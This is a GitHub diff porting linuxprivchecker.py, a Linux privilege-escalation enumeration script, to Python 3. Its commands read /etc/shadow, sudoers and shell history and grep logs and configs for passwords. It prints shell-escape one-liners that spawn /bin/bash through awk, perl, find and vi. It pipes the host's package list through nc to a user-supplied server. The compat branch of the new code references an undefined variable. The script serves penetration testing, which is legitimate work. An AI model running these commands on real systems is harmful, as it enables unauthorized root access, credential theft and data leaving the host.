这是indexloc提供的服务,不要输入任何密码
Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
231 changes: 117 additions & 114 deletions linuxprivchecker.py
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,67 +1,72 @@
#!/usr/env python
#!/usr/bin/env python3

###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script for python 3
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
## [Updater]: Mike Merrill (linted)
##-------------------------------------------------------------------------------------------------------------
## [Details]:
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits.
##-------------------------------------------------------------------------------------------------------------
## [Warning]:
## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates,
## I did not write it to be efficient and in some cases you may find the functions may not produce the desired
## results. For example, the function that links packages to running processes is based on keywords and will
## not always be accurate. Also, the exploit list included in this function will need to be updated over time.
## Feel free to change or improve it any way you see fit.
## This script comes as-is with no promise of functionality or accuracy.
##-------------------------------------------------------------------------------------------------------------
## [Modification, Distribution, and Attribution]:
## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original
## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's
## worth anything anyway :)
## author attribution and not attempt to sell it or incorporate it into any commercial offering.
###############################################################################################################

# conditional import for older versions of python not compatible with subprocess
try:
import subprocess as sub
#import subprocess as sub
from subprocess import run, PIPE
compatmode = 0 # newer version of python, no need for compatibility mode
except ImportError:
import os # older version of python, need to use os instead
#import os # older version of python, need to use ### instead
from subprocess import check_output, PIPE
compatmode = 1

# title / formatting
bigline = "================================================================================================="
smlline = "-------------------------------------------------------------------------------------------------"
bigline = "=" * 80
smlline = "-" * 80

print bigline
print "LINUX PRIVILEGE ESCALATION CHECKER"
print bigline
print


def header(message):
print(bigline)
print(message)
print(bigline)
print("")

# loop through dictionary, execute the commands, store the results, return updated dict
def execCmd(cmdDict):
for item in cmdDict:
cmd = cmdDict[item]["cmd"]
if compatmode == 0: # newer version of python, use preferred subprocess
out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate()
results = out.split('\n')
else: # older version of python, use os.popen
echo_stdout = os.popen(cmd, 'r')
results = echo_stdout.read().split('\n')
try:
if compatmode == 0: # newer version of python, use preferred subprocess
process = run(cmd, stdout=PIPE, stderr=PIPE, shell=True)
results = process.stdout.decode().split('\n')
else: # older version of python, use os.popen
echo_stdout = check_output(cmd, shell=True)
results = stdout.decode().split('\n')
except Exception as e:
results = ['[-] failed: {}'.format(e)]
cmdDict[item]["results"]=results

return cmdDict

# print results for each previously executed command, no return value
def printResults(cmdDict):
for item in cmdDict:
msg = cmdDict[item]["msg"]
results = cmdDict[item]["results"]
print "[+] " + msg
msg = cmdDict[item]["msg"]
results = cmdDict[item]["results"]
print("[+] " + msg)
for result in results:
if result.strip() != "":
print " " + result.strip()
print
if result.strip() != "":
print( " " + result.strip())
print("\n")
return

def writeResults(msg, results):
Expand All @@ -73,113 +78,114 @@ def writeResults(msg, results):
f.close()
return

# Basic system info
print "[*] GETTING BASIC SYSTEM INFO...\n"
header("LINUX PRIVILEGE ESCALATION CHECKER")

results=[]
# Basic system info
print( "[*] GETTING BASIC SYSTEM INFO...\n")

sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results},
"KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results},
"HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results}
}
sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System"},
"KERNEL":{"cmd":"cat /proc/version","msg":"Kernel"},
"HOSTNAME":{"cmd":"hostname", "msg":"Hostname"}
}

sysInfo = execCmd(sysInfo)
printResults(sysInfo)

# Networking Info

print "[*] GETTING NETWORKING INFO...\n"
print( "[*] GETTING NETWORKING INFO...\n")

netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results},
"ROUTE":{"cmd":"route", "msg":"Route", "results":results},
"NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results}
}
netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces"},
"ROUTE":{"cmd":"route", "msg":"Route"},
"NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat"},
"IP_Adder":{"cmd":"ip addr", "msg":"ip addr"},
"IP_Route":{"cmd":"ip route", "msg":"ip route"},
"SS":{"cmd":"ss -antup", "msg":"ss"}
}

netInfo = execCmd(netInfo)
printResults(netInfo)

# File System Info
print "[*] GETTING FILESYSTEM INFO...\n"
print( "[*] GETTING FILESYSTEM INFO...\n")

driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results},
"FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results}
}
driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results"},
"FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries"}
}

driveInfo = execCmd(driveInfo)
printResults(driveInfo)

# Scheduled Cron Jobs
cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results},
"CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results}
}
cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs"},
"CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs"}
}

cronInfo = execCmd(cronInfo)
printResults(cronInfo)

# User Info
print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n"

userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results},
"ID":{"cmd":"id","msg":"Current User ID", "results":results},
"ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results},
"SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results},
"HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results},
"ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results},
"SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results},
"LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results}
}
print("\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n")

userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User"},
"ID":{"cmd":"id","msg":"Current User ID"},
"ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users"},
"SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:"},
"HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)"},
"ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment"},
"SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)"},
"LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity"}
}

userInfo = execCmd(userInfo)
printResults(userInfo)

if "root" in userInfo["ID"]["results"][0]:
print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n"
print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n")

# File/Directory Privs
print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n"
print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n")

fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results},
"WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results},
"WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results},
"SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results},
"ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results}
}
fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'"},
"WWDIRS":{"cmd":"find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root"},
"WWFILES":{"cmd":"find / \( -wholename '/proc/*' -prune \) -o \( -type f -perm -o+w \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files"},
"SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories"},
"ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible"}
}

fdPerms = execCmd(fdPerms)
printResults(fdPerms)

pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results},
"CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results},
"SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results}
}
pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'"},
"CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'"},
"SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)"}
}

pwdFiles = execCmd(pwdFiles)
printResults(pwdFiles)

# Processes and Applications
print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n"
print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\n")

if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]:
getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian
else:
getPkgs = "rpm -qa | sort -u" # RH/other

getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results},
"PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results}
}
getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes"},
"PKGS":{"cmd":getPkgs, "msg":"Installed Packages"}}

getAppProc = execCmd(getAppProc)
printResults(getAppProc) # comment to reduce output

otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results},
"APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results},
"APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results}
}
otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)"},
"APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules"},
"APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File"}}

otherApps = execCmd(otherApps)
printResults(otherApps)

print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n"
print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n")

# find the package information for the processes currently running
# under root or another super user
Expand All @@ -192,62 +198,59 @@ def writeResults(msg, results):
for proc in procs: # loop through each process
relatedpkgs = [] # list to hold the packages related to a process
try:
for user in supusers: # loop through the known super users
if (user != "") and (user in proc): # if the process is being run by a super user
procname = proc.split(" ")[4] # grab the process name
if "/" in procname:
splitname = procname.split("/")
procname = splitname[len(splitname)-1]
for pkg in pkgs: # loop through the packages
if not len(procname) < 3: # name too short to get reliable package results
if procname in pkg:
if procname in procdict:
relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list
if pkg not in relatedpkgs:
relatedpkgs.append(pkg) # add pkg to the list
procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry
for user in supusers: # loop through the known super users
if (user != "") and (user in proc): # if the process is being run by a super user
procname = proc.split(" ")[4] # grab the process name
if "/" in procname:
splitname = procname.split("/")
procname = splitname[len(splitname)-1]
for pkg in pkgs: # loop through the packages
if not len(procname) < 3: # name too short to get reliable package results
if procname in pkg:
if procname in procdict:
relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list
if pkg not in relatedpkgs:
relatedpkgs.append(pkg) # add pkg to the list
procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry
except:
pass
pass

for key in procdict:
print " " + key # print the process name
print(" " + key) # print the process name
try:
if not procdict[key][0] == "": # only print the rest if related packages were found
print " Possible Related Packages: "
print(" Possible Related Packages: ")
for entry in procdict[key]:
print " " + entry # print each related package
print(" " + entry) # print each related package
except:
pass
pass

# EXPLOIT ENUMERATION

# First discover the avaialable tools
print
print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n"
print("\n[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n")

devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}}
devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools"}}
devTools = execCmd(devTools)
printResults(devTools)

print "[+] Related Shell Escape Sequences...\n"
print("[+] Related Shell Escape Sequences...\n")
escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]}
for cmd in escapeCmd:
for result in devTools["TOOLS"]["results"]:
if cmd in result:
for item in escapeCmd[cmd]:
print " " + cmd + "-->\t" + item
print
print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n"
for item in escapeCmd[cmd]:
print(" " + cmd + "-->\t" + item)
print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n")

question = raw_input("[?] Would you like to search for possible exploits? [y/N] ")
question = input("[?] Would you like to search for possible exploits? [y/N] ")
if 'y' in question.lower():
server = raw_input("[?] What is the address of the server? ")
port = raw_input("[?] What port is the server using? ")
print "[ ] Connecting to {}:{}".format(server,port)
server = input("[?] What is the address of the server? ")
port = input("[?] What port is the server using? ")
print("[ ] Connecting to {}:{}".format(server,port))
exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}}
exploits_results = execCmd(exploits)
printResults(exploits)

print
print "Finished"
print bigline
print("\n[+] Finished")
print(bigline)
Loading